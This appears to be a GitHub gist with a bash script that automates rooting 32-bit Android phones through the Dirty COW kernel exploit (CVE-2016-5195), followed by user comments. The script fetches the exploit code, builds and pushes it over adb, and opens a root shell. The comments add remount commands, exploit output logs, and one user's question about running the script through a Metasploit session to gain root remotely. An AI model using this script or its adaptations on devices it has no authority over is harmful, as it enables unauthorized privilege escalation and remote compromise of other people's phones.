"Root" via dirtyc0w privilege escalation exploit (automation script) / Android (32 bit)

root.sh

#!/bin/bash

# Give the usual warning.
clear;
echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @ https://goo.gl/E2nmLF\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
sleep 10;
clear;

# Download and extract exploit files.
echo "[INFO] Downloading exploit files from GitHub...";
workspacezip="dirtyc0w_workspace.zip";
workspace="dirtyc0w_workspace";
rm -f $workspacezip > /dev/null; # Remove zip if it exists
rm -rf $workspace > /dev/null; # Remove workspace if it exists
wget -O dirtyc0w_workspace.zip https://github.com/Arinerron/CVE-2016-5195/archive/master.zip > /dev/null 2>&1;
if [ -f $workspacezip ];
then
    echo "[INFO] Extracting exploit files...";
    unzip -a $workspacezip -d $workspace > /dev/null;
    rm -f $workspacezip; # Remove zip if it exists
else
   echo "[ERR] Failed to download exploit files.";
   exit 1;
fi;
if [ -d $workspace ];
then
    cd $workspace;
    directory=$PWD; # thx @tomdeboer!
    cd CVE-2016-5195-master;
else
    echo "[ERR] Failed to extract exploit files.";
    exit 1;
fi;

# Compile and send exploit.
echo "[INFO] Exploiting dirtyc0w vulnerability...";
sleep 1; # Let them read the message before chaos
make root;
clear;

# Hooray!
echo -n "[INFO] Complete. Installed package \"run-as\" on device.\n[INFO] Cleaning up workspace...";
rm -rf $directory; # Clean up workspace
echo "Done";
echo "[INFO] Starting shell in 3 seconds...";
sleep 3; # Look, it worked!
adb shell;
clear;
exit 0;

Hi, @thaomvs

to need remount file system on write
example
http://android.stackexchange.com/questions/110927/how-to-mount-system-rewritable-or-read-only-rw-ro

@thaomvs Sorry about the late reply-- Simply executing run-as switches to the root user.

Once i gain root acces i can't remount system for installing su binnary,
`# adb shell

athene_f:/ $ run-as

uid run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0

athene_f:/ # whoami

root

athene_f:/ # mount -o rw,remount /system
'/dev/block/bootdevice/by-name/system' is read-only
mount: '/dev/block/bootdevice/by-name/system'->'/system': Permission denied
1|athene_f:/ #
`
Any idea why?
I followed your guide
Root Android 32-bit / Guide
Prerequisites

Linux machine with
    adb
    android-ndk
    gcc
32-bit Android device plugged in to computer

Steps

Download the exploit from here.
Extract the zip file
Enter the extracted zip's directory in Terminal
Run the following command:

make root && adb shell;

and my phone is a 32bits

Thanks

@Arinerron i have read thru the comments and i have a question.
installing "run-as" on android trough this script will allow me to say start FX File manager with root permissions and then i can delete/remove system apps? correct?

@sevenup30 Try remounting /system using this command: mount -o rw,remount /dev/block/bootdevice/by-name/system /system
@sick13 Yes, correct. That should work.

@m4hmoud Sorry again for the late reply. Dirtycow was from last November-ish. Do you know if your system already patched?

hi, I've done all the steps, but don't get any info instead of exploited.

• [*] size 14192
• [*] mmap 0x7f7f3c5000
• [*] currently 0x7f7f3c5000=10102464c457f
• [*] using /proc/self/mem method
• [*] madvise = 0x7f7f3c5000 14192
• [*] madvise = 0 16777216
• [*] /proc/self/mem 142459296 10038
• [*] exploited 0 0x7f7f3c5000=10102464c457f
  no any info here

@20esaua After run this command : mount -o rw,remount /dev/block/bootdevice/by-name/system /system
Terminal prompt hangs. It does not give any output or error

Is there something we have to write in place of "by-name"

So this Script installs a Custom Version of run-as? Do i lose my guarantee if i use this Script?

@Arinerron Hello! I am very new to Github, It is my first comment. Just signed up and wanna ask you something, I came to know about this vulnerability but I was working on Metasploit and somehow find that video where it shows gaining root privilege remotely through metasploit just have to open USB DEBUGGING and run this root.sh on android mobile /sdcard dir.

So my question is as I am facing the same error that the files fails to download from github when I run the script on metasploit session, But when I run it on the directory where SDK is installed it works but says no emulated or android devices connected obviously.

I just downloaded SDK manually and extracted in Home directory but when ever I try to run the script it on metasploit session it fails to download from Github.

Can you please simplify my issue for me? just straight forwardly wanna know is it possible to gain acces remotely without devices being connected through USB and have this root.sh running and getting root privilege ? If yes than how can I use those manual step you provided as I can't connect the device I wanna try it on Metasploit...

@Arinerron Can you use this on a TV arch?
Running ARM-v7-A. Hisilicon chip.
Android 7.0 Nougat